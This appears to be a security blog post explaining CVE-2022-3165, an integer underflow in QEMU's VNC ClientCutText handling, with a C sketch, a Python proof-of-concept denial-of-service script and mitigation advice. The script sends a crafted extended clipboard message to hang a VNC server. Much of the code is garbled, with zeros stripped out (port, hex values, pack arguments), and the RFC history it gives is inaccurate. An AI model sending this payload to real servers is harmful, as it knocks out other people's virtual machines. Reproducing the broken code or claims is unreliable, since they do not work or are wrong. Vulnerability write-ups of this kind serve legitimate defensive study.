Recently, a security issue flagged as CVE-2022-3165 came to light concerning virtualization technology. Specifically, it’s about an integer underflow vulnerability in QEMU’s VNC server, triggered while handling certain client messages. In plain language, a bug in how QEMU processes clipboard data (using the VNC ClientCutText message in its "extended" form) can let an attacker freeze the whole virtual machine—causing a denial of service. We'll break down how this bug works, show you some example code, and explain how it could be exploited in the real world.
What is QEMU and VNC?
QEMU is a popular open-source emulator and virtualizer, used everywhere from cloud providers to home virtualization labs. QEMU often provides VMs to users using the VNC protocol, allowing you to interact graphically with your VM through a remote desktop application.
The VNC protocol has several messages that clients and servers exchange, including clipboard sharing. The ClientCutText message is what a VNC client sends to let the server know “here’s some clipboard text I want to paste.” In 2018, the protocol was extended (RFC 6143, section 7.7), and QEMU implemented support for this “extended format.”
The Vulnerability: Integer Underflow in ClientCutText
When a VNC client wants to send clipboard data, it sends a ClientCutText message, which includes the length of the clipboard text. In the extended format, more fields are parsed. The code had a problem: it did not correctly check for negative values or overly large lengths, and, due to the way the C language handles unsigned integer math, this could result in an integer underflow.
In this context, an "integer underflow" means that subtracting a too-large value from a small value will “wrap around” to a huge number, because computers can’t represent negative numbers with unsigned types.
Result: This makes QEMU think that the client wants to send an enormous amount of data, causing it to wait for more data forever—making the VM (and sometimes the host process) hang.
Here’s a conceptual snippet similar to what QEMU was doing in its VNC server code (ui/vnc.c)
uint32_t length;
if (extended) {
/* Read extended header fields, e.g., flags, etc */
length = read_uint32_be();
/* ... */
}
if (length > MAX_CUTTEXT_SIZE) {
/* Bail out */
return;
}
clipboard_data = malloc(length);
/* Read 'length' bytes from the client connection into the buffer */
nread = recv(client_fd, clipboard_data, length, );
if (nread < length) {
/* Wait for more data ... */
}
The problem:
If the client sends a huge value for length, or arranges for a negative value by integer wrapping, the server passes the check in a way that does not account for underflow. This can cause malloc() to try to allocate a massive amount (potentially wrapping to ), or the server to wait forever for data that never comes.
Triggering the Underflow
To exploit this, a malicious VNC client can send a ClientCutText message in extended format, with the length set to an especially crafted value such as xFFFFFFFF (which equals 4,294,967,295).
Here’s a simple Python3 proof-of-concept using socket:
import socket
import struct
HOST = 'qemu-vnc-server' # Change to QEMU VNC server IP or "localhost"
PORT = 590 # Change for your setup
# First, do the minimal handshake for VNC (skipped for brevity)
# Now, send ClientCutText message
CLIENT_CUT_TEXT = 6
s = socket.socket()
s.connect((HOST, PORT))
# If needed, perform VNC handshake here; in most un-authenticated testbeds this might just work
# Extended format: flag = 1, format = x00000000
flags = 1
format =
# length = xFFFFFFFF (trigger the bug)
length = xFFFFFFFF
payload = (
struct.pack('>B', CLIENT_CUT_TEXT) +
struct.pack('>3B', , , ) + # padding
struct.pack('>I', flags) +
struct.pack('>I', format) +
struct.pack('>I', length)
)
s.sendall(payload)
# Do not send any clipboard data -- let QEMU wait forever
print("Payload sent. QEMU's VNC thread should now hang.")
What happens next?
QEMU will see this message, try to allocate a massive (or negative) amount of memory, or will just keep waiting for "clipboard" data that never arrives, thus blocking its event loop -- making the system nonresponsive to further VNC events.
Exploit Scenario: Denial of Service
If you run QEMU VMs exposed to the network, someone can use this vulnerability to hang your VM, causing a denial of service (DoS). That means users cannot use or access the VM through VNC until the VM process is killed and restarted. In some cloud or shared hosting scenarios, this could be used to take down multi-user VMs or harass open virtualization services.
CVE Details and Official References
- CVE Entry: NVD - CVE-2022-3165
QEMU Patch:
https://gitlab.com/qemu-project/qemu/-/commit/06518ab181640234ba4ba314d7de661da5fae26a
Red Hat Bug Tracker:
https://bugzilla.redhat.com/show_bug.cgi?id=2129099
Fix:
QEMU maintainers fixed this by tightening their checks on input length fields—properly validating that the lengths are within reasonable bounds. Make sure you are running a QEMU version after October 2022 or newer.
Update QEMU to the latest version in your Linux repository or package manager.
- Restrict network access to your VNC server; don’t expose it to the wild internet if you can help it. Use VPN or SSH tunnels for remote VNC connections.
- Monitor logs and network activity for strange clipboard/ClientCutText message floods.
Conclusion
The CVE-2022-3165 bug in QEMU’s VNC server might seem trivial, but it’s a reminder that even simple clipboard handling code needs careful bounds checks and error handling. A single integer underflow could keep your virtual machines from running – and leave you searching logs for hours.
Patch up, lock down your VNC, and stay safe!
References:
- QEMU Security Announce: VNC ClientCutText Denial of Service (CVE-2022-3165)
- Exploring VNC Protocol Docs (RFC 6143)
- [QEMU Vulnerability CVE-2022-3165 Explained - [Red Hat Security Blog]](https://access.redhat.com/security/cve/CVE-2022-3165)
*This article is written exclusively for learning and awareness. Do not exploit live systems you don’t own or have permission to test.*
Timeline
Published on: 10/17/2022 16:15:00 UTC
Last modified on: 10/25/2022 21:15:00 UTC